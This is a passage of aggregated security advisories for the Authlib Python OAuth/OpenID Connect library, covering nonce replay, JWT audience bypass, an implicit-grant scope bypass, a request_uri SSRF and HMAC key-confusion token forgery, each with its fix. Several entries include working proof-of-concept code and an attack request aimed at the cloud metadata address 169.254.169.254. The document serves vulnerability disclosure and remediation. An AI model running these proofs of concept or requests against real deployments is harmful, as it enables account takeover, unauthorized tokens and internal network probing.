check is read from the token itself, the check can be disabled by the data it is applied to. ##### Who is impacted OpenID Connect relying parties built on authlib's client integrations where an attacker can supply an ID token to `parse_id_token()`: - Implicit flow relying parties, where the ID token is returned in the URL fragment. - Hybrid flow relying parties, where the ID token is returned in the fragment or by form post. - Applications calling `parse_id_token()` directly on externally supplied input. Both the synchronous and asynchronous integrations are affected, so Flask, Django and Starlette deployments are equally exposed. Relying parties using plain authorization code flow are not impacted, as the ID token is retrieved from the token endpoint over TLS following a `state` lookup and cannot be substituted by an attacker. ##### Consequence An attacker in possession of a victim's ID token replays it into their own session. Nonce validation is skipped, `parse_id_token()` returns a `UserInfo` for the victim's subject, and the relying party establishes an authenticated session as the victim. This grants access to the victim's account at that relying party, including any data and actions available through it. The token must carry a valid signature and pass `iss` and `aud` validation, so the vulnerability does not permit forging tokens or authenticating as an arbitrary subject. It removes the replay protection from a genuine token that has been captured, for example from browser history, a `Referer` header, proxy or server logs, or a shared device. ##### Mitigation available to integrators None. The check is performed inside `parse_id_token()`, and no parameter or configuration option is exposed to disable the behaviour or to override the nonce handling. #### Severity - CVSS Score: 4.2 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N` #### References - [https://github.com/authlib/authlib/security/advisories/GHSA-c5mf-xmp2-59rc](https://github.com/authlib/authlib/security/advisories/GHSA-c5mf-xmp2-59rc) - [https://nvd.nist.gov/vuln/detail/CVE-2026-114617](https://nvd.nist.gov/vuln/detail/CVE-2026-114617) - [https://github.com/authlib/authlib/pull/949](https://github.com/authlib/authlib/pull/949) - [https://github.com/authlib/authlib/commit/6563f6f7a8c2f71d2f85ee7511d72a4fbae3acc0](https://github.com/authlib/authlib/commit/6563f6f7a8c2f71d2f85ee7511d72a4fbae3acc0) - [https://github.com/authlib/authlib](https://github.com/authlib/authlib) - [https://github.com/authlib/authlib/releases/tag/v1.9.0](https://github.com/authlib/authlib/releases/tag/v1.9.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-c5mf-xmp2-59rc) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Authlib: Default JWT bearer grant accepts assertions for the wrong audience [CVE-2026-114618](https://nvd.nist.gov/vuln/detail/CVE-2026-114618) / [GHSA-fch4-3c6x-j4gc](https://github.com/advisories/GHSA-fch4-3c6x-j4gc) / PYSEC-2026-4358 <details> <summary>More information</summary> #### Details ##### Description ##### Summary Authlib's default RFC 7523 JWT bearer grant leaves `get_audiences()` empty, so `verify_claims()` only checks that an `aud` claim *exists* instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for *any* audience can present it to a different authorization server sharing the same signing key and obtain an access token. To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately. ##### Affected Entrypoints - `authlib.oauth2.rfc7523.JWTBearerGrant` — default `get_audiences()` returns empty list - `authlib.jose.jwt.decode()` with `claims_options` for audience validation - `authlib.integrations.flask_oauth2.ResourceProtector.validate_request()` when audience checking is enabled ##### Exploit Path ``` 1. Attacker authenticates to Service A (low-privilege) 2. Authorization server issues JWT with "aud": "https://evil.test/token" 3. Attacker presents this assertion to Service B's token endpoint 4. Service B uses default JWTBearerGrant (get_audiences() = []) 5. verify_claims() only checks aud *exists*, not its value 6. Service B issues an access token — audience bypass achieved ``` ##### Proof of Concept ```python #!/usr/bin/env python3 """ Demonstrates that the default JWTBearerGrant accepts JWT assertions whose audience does not match the token endpoint, while a strict audience override correctly rejects them. """ import json import os import sys from joserfc.jwk import KeySet, OctKey WRONG_AUDIENCE = "https://evil.test/token" EXPECTED_AUDIENCE = "https://provider.test/token" GRANT_TYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer" def build_and_exercise(strict_audience: bool) -> tuple[int, dict]: from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant # Uses Authlib's own Flask test fixtures from tests.flask.test_oauth2.models import Client, User, db from tests.flask.test_oauth2.oauth2_server import ( create_authorization_server, create_flask_app, ) class JWTBearerGrant(BaseJWTBearerGrant): def resolve_issuer_client(self, issuer): return Client.query.filter_by(client_id=issuer).first() def resolve_client_public_key(self, client): return KeySet([ OctKey.import_key("foo", {"kid": "1"}), OctKey.import_key("bar", {"kid": "2"}), ]) def authenticate_user(self, subject): return None def has_granted_permission(self, client, user): return True # Only override get_audiences when testing strict mode if strict_audience: def get_audiences(self): return [EXPECTED_AUDIENCE] app = create_flask_app() os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true" with app.app_context(): db.init_app(app) db.create_all() user = User(username="demo-user") db.session.add(user) db.session.commit() client = Client( user_id=user.id, client_id="client-id", client_secret="client-secret", ) client.set_client_metadata({ "scope": "profile", "redirect_uris": ["https://client.test/authorized"], "grant_types": [GRANT_TYPE], }) db.session.add(client) db.session.commit() server = create_authorization_server(app) server.register_grant(JWTBearerGrant) # Sign assertion with WRONG audience assertion = JWTBearerGrant.sign( "foo", issuer="client-id", audience=WRONG_AUDIENCE, # <-- Not the expected audience subject=None, header={"alg": "HS256", "kid": "1"}, ) rv = app.test_client().post( "/oauth/token", data={"grant_type": GRANT_TYPE, "assertion": assertion}, ) body = json.loads(rv.data) db.session.remove() db.drop_all() return rv.status_code, body def main() -> int: # Test 1: Default grant (no audience enforcement) vuln_status, vuln_body = build_and_exercise(strict_audience=False) # Test 2: Strict audience grant (correct behavior) strict_status, strict_body = build_and_exercise(strict_audience=True) result = { "wrong_audience": WRONG_AUDIENCE, "expected_audience": EXPECTED_AUDIENCE, "vulnerable_status": vuln_status, "vulnerable_body": vuln_body, "strict_status": strict_status, "strict_body": strict_body, } print(json.dumps(result, indent=2, sort_keys=True)) if ( vuln_status == 200 and "access_token" in vuln_body and strict_body.get("error") == "invalid_grant" ): print( "POC_SUCCESS: default JWTBearerGrant issued an access token for " "an assertion whose aud did not match the token endpoint, while " "strict audience validation rejected the same assertion." ) return 0 print("POC_FAILURE: expected token issuance under default grant " "and invalid_grant under strict audience control.") return 1 if __name__ == "__main__": raise SystemExit(main()) ``` ##### Observed Result - **Default grant (vulnerable):** HTTP 200, `access_token` issued despite `aud: "https://evil.test/token"` - **Strict grant (fixed):** HTTP 400, `error: "invalid_grant"` — correctly rejects mismatched audience - Confirms the default `get_audiences()` returns empty, so audience validation is effectively skipped ##### Impact - **Vulnerability Type:** CWE-287 — Improper Authentication - An attacker with a valid JWT assertion for *any* service can use it to obtain tokens from a *different* service sharing the same signing keys - Particularly dangerous in **microservice architectures** where services share identity infrastructure - Enables unauthorized access escalation across trust boundaries - The vulnerability is in the *default behavior* — most integrations won't override `get_audiences()` --- ##### Credit Reported by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/ #### Severity - CVSS Score: 6.8 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/authlib/authlib/security/advisories/GHSA-fch4-3c6x-j4gc](https://github.com/authlib/authlib/security/advisories/GHSA-fch4-3c6x-j4gc) - [https://nvd.nist.gov/vuln/detail/CVE-2026-114618](https://nvd.nist.gov/vuln/detail/CVE-2026-114618) - [https://github.com/authlib/authlib/pull/945](https://github.com/authlib/authlib/pull/945) - [https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf](https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf) - [https://github.com/authlib/authlib](https://github.com/authlib/authlib) - [https://github.com/authlib/authlib/releases/tag/v1.9.0](https://github.com/authlib/authlib/releases/tag/v1.9.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fch4-3c6x-j4gc) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Authlib: OpenID implicit grant checks raw scope instead of allowed scope before issuing ID tokens [CVE-2026-114619](https://nvd.nist.gov/vuln/detail/CVE-2026-114619) / [GHSA-q686-2qmg-hqc7](https://github.com/advisories/GHSA-q686-2qmg-hqc7) / PYSEC-2026-4359 <details> <summary>More information</summary> #### Details ##### Report metadata | Field | Value | | --- | --- | | Package | `authlib` (PyPI, `pkg:pypi/authlib`) | | Repository | https://github.com/authlib/authlib | | Component | `authlib.oidc.core.grants.implicit.OpenIDImplicitGrant.validate_authorization_request` | | Vulnerability class | Authorization bypass: a client's scope restriction is bypassed for OpenID Connect ID token issuance | | Verified against | `c529a61af40e3efe05286140e00fbdced07d7987` (v1.8.0). Earlier releases were not checked. | | API surface | Public API (`OpenIDImplicitGrant`, registered with `server.register_grant(...)`) | | Affected in default configuration | Yes. No non-default option is needed once `OpenIDImplicitGrant` is registered. Client metadata decides exposure: Authlib's standard `ClientMixin` checks response type and scope independently, so a client can be permitted `id_token` responses without being allowed the `openid` scope. | ##### Summary `OpenIDImplicitGrant.validate_authorization_request()` first runs the parent `ImplicitGrant` validation, which filters the requested scope through `client.get_allowed_scope()` and stores the result in `request.scope`. It then decides whether this is an OpenID request by checking the raw, client-supplied `request.payload.scope` instead of that filtered value. A client that is allowed `profile` but not `openid` can therefore request `scope=openid profile`, pass the check, and receive a signed ID token (with `sub` and profile claims) once the user consents. This happens even when Authlib's built-in, scope-filtering `BearerTokenGenerator` is in use. The tainted input is the authorization request's `scope` parameter. The OAuth client fully controls it, and the client is the very party the scope restriction is meant to constrain. Any registered client can add `openid` to its request if it is permitted an `id_token` or `id_token token` response type and its allowed scopes exclude `openid` but include a claim-bearing scope such as `profile`. Sibling paths treat the same client correctly, which suggests the raw-scope check is a bug rather than intended behaviour: - `ImplicitGrant.validate_authorization_request()` -> filters the requested scope through `client.get_allowed_scope()` into `request.scope` (safe, [`authlib/oauth2/rfc6749/grants/implicit.py` lines 141-147](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oauth2/rfc6749/grants/implicit.py#L141-L147)) - `OpenIDImplicitGrant.validate_authorization_request()` -> **checks the raw `request.payload.scope` (unsafe, [`authlib/oidc/core/grants/implicit.py` line 72](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oidc/core/grants/implicit.py#L72))** - `UserInfoEndpoint` -> rejects the same client's access token with 403 `insufficient_scope` (safe; observed during verification, line not recorded) - OIDC authorization code flow -> issues no `id_token` for the same client (safe; observed during verification, line not recorded) ##### Impact A registered OAuth client that the operator has excluded from the `openid` scope can get an OpenID Connect ID token for any user who logs in and approves its authorization request. During verification the provider returned an RS256-signed ID token carrying `iss`, `aud` (the requesting client), `nonce`, `auth_time`, `at_hash`, `sub` and `name`, while the granted scope was only `profile`. A consent page built the way the Authlib docs show lists only `profile`, so the user is not shown that an identity token will be issued. Without this bug, the same request fails with `InvalidScopeError` ("Missing 'openid' scope") because the client's resolved scope does not include `openid`. The new capability is the ID token itself: a signed assertion of the user's identity (`sub`) plus claims from the client's other allowed scopes. Gating that token is exactly what the `openid` scope is for. The access token stays restricted when the built-in token generator is used: Authlib's `UserInfoEndpoint` rejects it with 403 `insufficient_scope`. **Scoring note:** we did not compute a CVSS score. An initial triage rated this High. After dynamic verification we assess practical severity as closer to Medium, because: 1. The attacker must be a registered client that is permitted `id_token` response types. 2. The user must log in and consent. 3. The ID token's `aud` is the attacking client. Two kinds of deployment are not affected: - Deployments that use only the OIDC authorization code flow. During verification, that flow issued no ID token for the same client. - Deployments where every client permitted an `id_token` or `id_token token` response type is also allowed the `openid` scope. ##### Preconditions 1. The authorization server registers `OpenIDImplicitGrant` (or a subclass), e.g. `server.register_grant(MyOpenIDImplicitGrant)`. The vulnerable method runs on every OIDC implicit authorization request. 2. A client's metadata permits an OIDC implicit response type (`id_token` or `id_token token`). Nothing in Authlib ties this to the `openid` scope. The standard SQLAlchemy `ClientMixin` checks response type and scope independently, and it filters requested scopes against the client's allowed scopes at [`authlib/integrations/sqla_oauth2/client_mixin.py:124-129`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/integrations/sqla_oauth2/client_mixin.py#L124-L129). 3. That client's allowed scopes exclude `openid` but include another claim-bearing scope, such as `profile`. 4. The attacker controls that registered client and sends an authorization request that adds `openid` to otherwise allowed scopes (e.g. `scope=openid profile`), with a `nonce`. 5. A user logs in and approves the request. 6. Branch condition: the raw `request.payload.scope` contains `openid` while the filtered `request.scope` does not. So `is_openid_scope(self.request.payload.scope)` is true at `implicit.py:72` and no `InvalidScopeError` is raised. No non-standard usage, monkey-patching or unusual configuration is needed: this is the public grant used as intended. Keeping a client's response types and allowed scopes in sync is not documented as the integrator's responsibility. The parent grant stores the filtered `request.scope` specifically so that authorization decisions use it. We did not capture a link to the relevant Authlib docs page, but the verification built its consent page the way those docs show. ##### Data flow 1. **Source**: the OAuth client controls the authorization request's `scope` parameter, e.g. `GET /authorize?response_type=id_token%20token&client_id=c&redirect_uri=https%3A%2F%2Fc%2Fcb&scope=openid%20profile&nonce=n`. The raw value remains available as `request.payload.scope`. 2. **Propagation**: `ImplicitGrant.validate_authorization_request()` filters the requested scope through `client.get_allowed_scope()` and stores the result in `request.scope` (here `'profile'`). `request.payload.scope` still holds the raw `openid profile` ([`authlib/oauth2/rfc6749/grants/implicit.py:141-147`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oauth2/rfc6749/grants/implicit.py#L141-L147)). 3. **Sink**: `OpenIDImplicitGrant.validate_authorization_request()` uses the raw value to decide whether this is an OpenID request: `if not is_openid_scope(self.request.payload.scope):` ([`authlib/oidc/core/grants/implicit.py:72`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oidc/core/grants/implicit.py#L72)). The injected `openid` satisfies the check, so the method returns the redirect URI instead of raising `InvalidScopeError` ([`authlib/oidc/core/grants/implicit.py:70-84`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oidc/core/grants/implicit.py#L70-L84)). 4. **Reachability**: `OpenIDImplicitGrant` is the public grant that serves OIDC implicit authorization requests. After the user consents, `create_granted_params()` and `process_implicit_token()` issue the ID token and user claims ([`authlib/oidc/core/grants/implicit.py:112-129`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oidc/core/grants/implicit.py#L112-L129), [`authlib/oidc/core/grants/implicit.py:132-169`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oidc/core/grants/implicit.py#L132-L169)). ##### Vulnerable code `authlib/oidc/core/grants/implicit.py`, lines 70-84 at `c529a61af40e3efe05286140e00fbdced07d7987` (an excerpt; `...` marks code left out of the captured snippet): ```python redirect_uri = super().validate_authorization_request() # safe: parent grant sets the filtered request.scope if not is_openid_scope(self.request.payload.scope): # <-- sink (line 72): raw, client-supplied scope raise InvalidScopeError("Missing 'openid' scope", ...) ... return redirect_uri ``` ##### Reproduction Verified two ways on Authlib `c529a61af40e3efe05286140e00fbdced07d7987` (v1.8.0): - a pytest PoC using the Flask test client - a standalone Flask OpenID Provider on localhost, driven with `curl` The Python and Flask versions were not recorded. Setup: a client registered with `scope='profile'` only (no `openid`) and response types `id_token` / `id_token token`. It uses Authlib's built-in SQLAlchemy `ClientMixin` and the built-in scope-filtering `BearerTokenGenerator`. 1. The client sends an authorization request with `scope=openid profile` and a `nonce`. 2. `ImplicitGrant` sets `request.scope='profile'`. A consent page built the way the docs show displays only `profile`. 3. `OpenIDImplicitGrant.validate_authorization_request()` checks the raw `request.payload.scope` at line 72, so the request passes. 4. After the user approves, the provider returns an RS256-signed ID token with `iss`, `aud` (the client), `nonce`, `auth_time`, `at_hash`, `sub` and `name`, while the granted scope is `profile`. The ID token's signature verified against the provider's JWKS. Controls run during verification: - The same request without `openid` returns `invalid_scope` ("Missing 'openid' scope"). - Authlib's `UserInfoEndpoint` rejects this client's access token with 403 `insufficient_scope`. - The OIDC authorization code flow for the same client issues no `id_token`. The sketch below shows the request shape against Authlib's Flask OIDC test app. The verification's own test script is not included here. ```python ##### Client metadata: scope='profile' (no openid), response_types=['id_token token']. rv = client.get('/authorize?response_type=id_token%20token&client_id=client-id&redirect_uri=https%3A%2F%2Fclient.test%2Fauthorized&scope=openid%20profile&nonce=n') ##### after the user grants consent: assert 'id_token=' in rv.headers['Location'] # should have been rejected: openid is not an allowed scope ``` - **Expected:** `InvalidScopeError` / `invalid_scope` ("Missing 'openid' scope"), because the client's resolved allowed scope (`request.scope == 'profile'`) does not include `openid`. - **Actual:** after consent, the redirect carries a signed ID token (including `sub` and `name`) while the granted scope is `profile`. ##### Suggested remediation Decide whether to issue OpenID tokens from the scope the grant actually authorized, never from the raw requested scope. The authorized scope is `self.request.scope`, which the parent grant has already filtered through `client.get_allowed_scope()`. ```diff redirect_uri = super().validate_authorization_request() -if not is_openid_scope(self.request.payload.scope): +if not is_openid_scope(self.request.scope): raise InvalidScopeError("Missing 'openid' scope", ...) ``` During verification, this one-line change at line 72 blocked the exploit, and the existing OIDC implicit/hybrid tests still passed (23 passed). The same rule should hold for the rest of OIDC issuance. `create_granted_params()` ([`authlib/oidc/core/grants/implicit.py:112-129`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oidc/core/grants/implicit.py#L112-L129)) passes the raw `payload.scope` to `generate_token`. It should pass `self.request.scope` instead. Notes: - **Adjacent raw-scope use, worth fixing in the same change:** `create_granted_params()` hands the raw `payload.scope` to `generate_token`. So a deployment whose custom token generator does not filter scope also grants the client access-token scopes it is not allowed; verification noted `openid` and `email`. Authlib's built-in `BearerTokenGenerator` re-filters the access-token scope, so this only shows up with a non-filtering generator. That re-filtering does not stop the ID token. - **Other paths through the same raw value:** beyond `create_granted_params()`, we did not audit every scope read in `process_implicit_token()` ([`authlib/oidc/core/grants/implicit.py:132-169`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oidc/core/grants/implicit.py#L132-L169)), or in other OIDC grants such as the hybrid grant. Whether they share the pattern is not verified. - **Already safe, no change needed:** - the scope filtering in the parent `ImplicitGrant` and in `ClientMixin` - `UserInfoEndpoint`, which rejects this client's access token with 403 `insufficient_scope` - the OIDC authorization code flow, which issues no ID token for this client Suggested regression test, alongside the existing Flask OIDC implicit-grant tests: 1. Register a client with `scope='profile'` and `response_types=['id_token token']`. 2. Send an authorization request with `scope=openid profile` and a `nonce`, and approve it. 3. Assert that the response is an `invalid_scope` error ("Missing 'openid' scope") and that the redirect contains no `id_token`. A second case should use a token generator that does not filter scope, and assert that the issued access token carries only the client's allowed scopes. #### Severity - CVSS Score: 4.6 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N` #### References - [https://github.com/authlib/authlib/security/advisories/GHSA-q686-2qmg-hqc7](https://github.com/authlib/authlib/security/advisories/GHSA-q686-2qmg-hqc7) - [https://nvd.nist.gov/vuln/detail/CVE-2026-114619](https://nvd.nist.gov/vuln/detail/CVE-2026-114619) - [https://github.com/authlib/authlib/pull/945](https://github.com/authlib/authlib/pull/945) - [https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf](https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf) - [https://github.com/authlib/authlib](https://github.com/authlib/authlib) - [https://github.com/authlib/authlib/releases/tag/v1.9.0](https://github.com/authlib/authlib/releases/tag/v1.9.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-q686-2qmg-hqc7) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF [CVE-2026-114620](https://nvd.nist.gov/vuln/detail/CVE-2026-114620) / [GHSA-x4rv-c3wx-4cr8](https://github.com/advisories/GHSA-x4rv-c3wx-4cr8) / PYSEC-2026-4360 <details> <summary>More information</summary> #### Details ##### Summary Authlib's RFC 9101 (JAR) extension passes the attacker-controlled `request_uri` authorization parameter straight to the `get_request_object()` fetch hook with no validation, at a pre-authentication endpoint. Authlib already defines the pre-registration allowlist for this (`request_uris` client metadata and `require_request_uri_registration` server metadata) but the extension never consults it, and both docstrings instruct integrators to implement the hook as an unrestricted `requests.get(request_uri)`. Deployments following the documented pattern get an unauthenticated SSRF primitive. ##### Details Verified against authlib 1.7.2 and current `main`. All line numbers below are from `authlib/oauth2/rfc9101/authorization_server.py`. The extension registers itself on the `before_get_authorization_grant` hook (lines 62-65), so it runs on every authorization request before any user or client authentication. `support_request_uri` defaults to `True` (line 58). The only gate before the sink is that `client_id` names an existing client (lines 91-103). A `client_id` is a public, non-secret identifier. The sink at line 159 forwards the raw parameter with no scheme, host, or allowlist check: ```python def _get_raw_request_object(self, request: OAuth2Request) -> str: if "request_uri" in request.payload.data: raw_request_object = self.get_request_object( request.payload.data["request_uri"] ) if not raw_request_object: raise InvalidRequestUriError(state=request.payload.state) ``` `get_request_object` is abstract (line 213, `raise NotImplementedError()` at line 225), so authlib itself performs no outbound request. The defect is that authlib supplies unvalidated attacker input to that extension point and then documents the insecure implementation twice — in the class docstring (lines 34-38) and in the hook's own docstring (lines 218-223): ```python def get_request_object(self, request_uri: str): try: return requests.get(request_uri).text except requests.Exception: return None ``` Two points sharpen this beyond a generic documentation issue: - **The allowlist already exists and is ignored.** Authlib validates `request_uris` as client metadata (`authlib/oauth2/rfc7591/claims.py:319`) and `require_request_uri_registration` as server metadata (`authlib/oauth2/rfc8414/models.py:263`). The `rfc9101` package contains zero references to either name, so the pre-registration model is never enforced at the point of use. - **RFC 9101 §10.4.1 asks for controls that are absent.** It states the server should "a) check that the value of the `request_uri` parameter does not point to an unexpected location, b) check that the media type of the response is `application/oauth-authz-req+jwt`, c) implement a timeout for obtaining the content of `request_uri`, and d) not perform recursive GET on the `request_uri`." The extension implements none of these and the documented example implements none of them either. The two failure paths are distinguishable, which supplies the inference channel for a blind SSRF: a falsy fetch result raises `InvalidRequestUriError` (`invalid_request_uri`, lines 162-163), while a successful fetch of non-JWT content raises `InvalidRequestObjectError` (`invalid_request_object`, line 186). ##### PoC This demonstrates the library-level defect with no network egress required: it shows the unvalidated URI reaching the fetch hook pre-authentication. ```bash python -m venv .venv && .venv/bin/pip install authlib ``` ```python from authlib.oauth2.rfc6749.requests import BasicOAuth2Payload, OAuth2Request from authlib.oauth2.rfc9101 import JWTAuthenticationRequest reached = [] class Extension(JWTAuthenticationRequest): def get_request_object(self, request_uri): reached.append(request_uri) # the docstring puts requests.get(request_uri) here return None def resolve_client_public_key(self, client): return {"keys": []} def get_server_metadata(self): return {} def get_client_require_signed_request_object(self, client): return False class AuthorizationServer: def query_client(self, client_id): return object() uri = "http://169.254.169.254/latest/meta-data/" request = OAuth2Request("GET", "https://as.example/authorize") request.payload = BasicOAuth2Payload({"client_id": "demo", "request_uri": uri}) try: Extension().parse_authorization_request(AuthorizationServer(), request) except Exception as exc: print("error:", type(exc).__name__) print("fetch hook received:", reached) ``` Output on authlib 1.7.2: ```text error: InvalidRequestUriError fetch hook received: ['http://169.254.169.254/latest/meta-data/'] ``` Against a deployment that used the docstring implementation, the equivalent unauthenticated request is: ```text GET /authorize?response_type=code&client_id=demo&request_uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F ``` Returning a fetched-but-non-JWT body instead of `None` in the snippet above yields `InvalidRequestObjectError` rather than `InvalidRequestUriError`, showing the oracle that distinguishes a reachable target from an unreachable one. ##### Impact Server-side request forgery, reachable without authentication by anyone who knows a valid `client_id`. In a deployment that implemented `get_request_object` as documented, an attacker can make the authorization server issue GET requests to arbitrary URLs: internal-only services, cloud metadata endpoints such as `169.254.169.254`, and side-effectful internal GET routes. The `invalid_request_uri` versus `invalid_request_object` split, together with response timing, provides an oracle for internal host and port discovery. RFC 9101 §10.4.1 additionally notes the DoS and recursive-lookup risks that the missing timeout and recursion checks leave open. Response bodies are consumed as a JWT and never reflected, so this is a blind primitive rather than direct data exfiltration. Because the fetch executes in integrator code, deployments that already allowlist inside their override are unaffected — but authlib provides no hook to make that the default, ships `support_request_uri=True`, and its documentation steers integrators to the unsafe implementation, so the insecure outcome is the expected one. #### Severity - CVSS Score: 5.4 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N` #### References - [https://github.com/authlib/authlib/security/advisories/GHSA-x4rv-c3wx-4cr8](https://github.com/authlib/authlib/security/advisories/GHSA-x4rv-c3wx-4cr8) - [https://nvd.nist.gov/vuln/detail/CVE-2026-114620](https://nvd.nist.gov/vuln/detail/CVE-2026-114620) - [https://github.com/authlib/authlib/pull/949](https://github.com/authlib/authlib/pull/949) - [https://github.com/authlib/authlib/commit/6563f6f7a8c2f71d2f85ee7511d72a4fbae3acc0](https://github.com/authlib/authlib/commit/6563f6f7a8c2f71d2f85ee7511d72a4fbae3acc0) - [https://github.com/authlib/authlib/commit/891e3f10ae5989176211f8be35dcc7cd40aa92c6](https://github.com/authlib/authlib/commit/891e3f10ae5989176211f8be35dcc7cd40aa92c6) - [https://github.com/authlib/authlib](https://github.com/authlib/authlib) - [https://github.com/authlib/authlib/releases/tag/v1.9.0](https://github.com/authlib/authlib/releases/tag/v1.9.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-x4rv-c3wx-4cr8) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-114615](https://nvd.nist.gov/vuln/detail/CVE-2026-114615) / [GHSA-7vr2-2fgp-9w7p](https://github.com/advisories/GHSA-7vr2-2fgp-9w7p) / PYSEC-2026-4355 <details> <summary>More information</summary> #### Details Authlib is a Python library which builds OAuth and OpenID Connect servers. From 1.3.1 until 1.9.0, OctKey.import_key() checks asymmetric-key markers only at byte zero while Authlib's PEM loaders accept leading whitespace, comments, or a byte-order mark. In deployments that use the documented mixed algorithm registry and already configure verification with PEM or certificate bytes containing such a prefix, an unauthenticated attacker who knows those same public-key bytes can use them as an HMAC secret and forge HS256 tokens with arbitrary identity or authorization claims. This is a bypass of the remediation for CVE-2024-37568. The module-level jwt object reaches OctKey.import_key() in authlib/jose/rfc7518/oct_key.py, where POSSIBLE_UNSAFE_KEYS fails to identify prefixed asymmetric key material. This issue is fixed in version 1.9.0. #### Severity - CVSS Score: 9.1 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/authlib/authlib/releases/tag/v1.9.0](https://github.com/authlib/authlib/releases/tag/v1.9.0) - [https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf](https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf) - [https://github.com/authlib/authlib/pull/945](https://github.com/authlib/authlib/pull/945) - [https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p](https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4355) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-114617](https://nvd.nist.gov/vuln/detail/CVE-2026-114617) / [GHSA-c5mf-xmp2-59rc](https://github.com/advisories/GHSA-c5mf-xmp2-59rc) / PYSEC-2026-4357 <details> <summary>More information</summary> #### Details Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, OpenIDMixin.parse_id_token() reads the nonce_supported decision from the untrusted ID token being validated and sets the expected nonce to null when that claim is the JSON boolean false. In implicit and hybrid relying parties, or applications that directly accept externally supplied ID tokens, an attacker with a captured validly signed token can bypass the nonce-to-session binding and replay the victim's token into an attacker-controlled session. Plain authorization code flow is not affected, and the token must still pass signature, issuer, and audience validation. OpenIDMixin.parse_id_token() trusts nonce_supported in both authlib/integrations/base_client/sync_openid.py and authlib/integrations/base_client/async_openid.py to disable the expected nonce. This issue is fixed in version 1.9.0. #### Severity - CVSS Score: 4.2 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N` #### References - [https://github.com/authlib/authlib/releases/tag/v1.9.0](https://github.com/authlib/authlib/releases/tag/v1.9.0) - [https://github.com/authlib/authlib/commit/6563f6f7a8c2f71d2f85ee7511d72a4fbae3acc0](https://github.com/authlib/authlib/commit/6563f6f7a8c2f71d2f85ee7511d72a4fbae3acc0) - [https://github.com/authlib/authlib/pull/949](https://github.com/authlib/authlib/pull/949) - [https://github.com/authlib/authlib/security/advisories/GHSA-c5mf-xmp2-59rc](https://github.com/authlib/authlib/security/advisories/GHSA-c5mf-xmp2-59rc) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4357) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-114618](https://nvd.nist.gov/vuln/detail/CVE-2026-114618) / [GHSA-fch4-3c6x-j4gc](https://github.com/advisories/GHSA-fch4-3c6x-j4gc) / PYSEC-2026-4358 <details> <summary>More 